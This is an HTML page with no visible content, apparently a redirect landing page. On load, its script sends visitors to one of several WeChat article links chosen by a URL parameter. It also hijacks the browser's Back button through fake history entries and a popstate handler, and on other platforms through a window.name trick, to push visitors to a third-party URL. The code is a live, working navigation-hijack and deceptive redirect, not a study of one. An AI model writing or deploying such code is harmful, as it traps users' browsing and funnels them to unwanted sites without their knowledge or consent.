<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="apple-touch-fullscreen" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,minimum-scale=1,user-scalable=no">
<title></title>
</head>
<body onload = "machineStyle()">
<script type="text/javascript" src="http://code.jquery.com/jquery-latest.js"></script>
<script>
var hrefA = "111"
var jumpDict = [
				'http://mp.weixin.qq.com/s?__biz=MzU4NTgwMzM1Nw==&mid=100000002&idx=1&sn=b01956fc43f46845f977673766342881&chksm=7d85b2304af23b26b457d3ef8f85fcb0977a6abdd10fb3a99c36a3d592ca916f7995e9e96810#rd',
				
				'http://mp.weixin.qq.com/s?__biz=MzU4NjgwMjI3OQ==&mid=100000001&idx=1&sn=eabb33edc3abf902e01239a557cb05e3&chksm=7df4f4094a837d1fece5b5a9f9b5d43793f16f9f96d92c3386aa9d15dbb4d7972a1a1ee64b93#rd',
				
				'http://mp.weixin.qq.com/s?__biz=MzU5NDgwMjY0OQ==&mid=100000001&idx=1&sn=db9449d4efd0770f8a75c4cc14e20937&chksm=7e7ae3b7490d6aa163cab88e633e60e471569c310d3e54ea12e9b3492f2906ab5c7810c4be25#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzU2Nzc1NTcxNQ==&mid=100000094&idx=1&sn=c4082689606b9e78740d106cb13a0c4f&chksm=7c9917f24bee9ee46cfbf4beb4c0a12529c2d89f7c255d85d683e772233c585106657011227f#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzU2OTc1NzM4NA==&mid=100000095&idx=1&sn=371a324f31f25089b22ce8a8dee25817&chksm=7cf89af84b8f13eeb6b792eb90503f0556fc774828af01c8c390b7d16c5520bfde807934f494#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzU0ODk5OTE1Mw==&mid=100000001&idx=1&sn=3332d51cbf49e0b5b2cccb6612567c3d&chksm=7bb7db9f4cc05289cd2e2a781e9bfbc6fb6a526a36c76a514b80cdcc2720089c88a8a207cf65#rd',
                
				'http://mp.weixin.qq.com/s?__biz=MzU3MTc5OTIwNg==&mid=100000001&idx=1&sn=96c06f9fd36422aca45727cf84fc8978&chksm=7cdbe2c84bac6bde4614e84ef33c6c8e4abfcd9b7f9d5e7c495a052a149da0d54c34a2c01f60#rd',
                
				'http://mp.weixin.qq.com/s?__biz=Mzg5MzA1Mzk5Mg==&mid=100000002&idx=1&sn=136fdf01c01f9ba00baf4c22767c7046&chksm=4035fc45774275531267b81647d32d188ec24b719c52bbd2561984c2b5955359b523beee20bc#rd'

				]
var hrefB = "http://qq.ecvd.cn/1001812/3pO867"

  function getParam(paramName) { 
                paramValue = "", isFound = !1; 
                 if (this.location.search.indexOf("?") == 0 && this.location.search.indexOf("=") > 1) { 
                         arrSource = unescape(this.location.search).substring(1, this.location.search.length).split("&"), i = 0; 
                         while (i < arrSource.length && !isFound) arrSource[i].indexOf("=") > 0 && arrSource[i].split("=")[0].toLowerCase() == paramName.toLowerCase() && (paramValue = arrSource[i].split("=")[1], isFound = !0), i++ 
                } 
             return paramValue == "" && (paramValue = null), paramValue 
            } 
function loadNewView(){
		var getpara = getParam("viewNum")
        hrefA = jumpDict[getpara];
}
function machineStyle() {
	 loadNewView()
	 var getpara = getParam("viewNum")
	 console.log('对象22222',getpara,'链接',hrefA)
    var u = navigator.userAgent, app = navigator.appVersion;
    var isAndroid = u.indexOf('Android') > -1 || u.indexOf('Linux') > -1; //g
    var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/); //ios终端
    if (isIOS) {
　　　bb()　
    }else{
	  aa()
	}
}
    function bb(){
		if (window.history && window.history.pushState) {
			$(window).on('popstate', function () {
				window.history.pushState('forward', null, '#');
				window.history.forward(1);
				window.location.href= hrefB;//执行操作
			});
		}
		window.history.pushState('forward', null, '#'); //在IE中必须得有这两行
		window.history.forward(1);
	    setTimeout('tiaozhuanA()',500)
	}
	function aa(){
    	if(window.name=="new"){
			window.name="";	
			 setTimeout('tiaozhuanB()',500) 
			 
  	  	}else{
			 window.name="new";	
			 setTimeout('tiaozhuanA()',500)    	
   	   }
	}
    function tiaozhuanA() {
       
        location.href= hrefA;
	}
	function tiaozhuanB() {
        location.href= hrefB;  
	}
</script>
</body>
</html>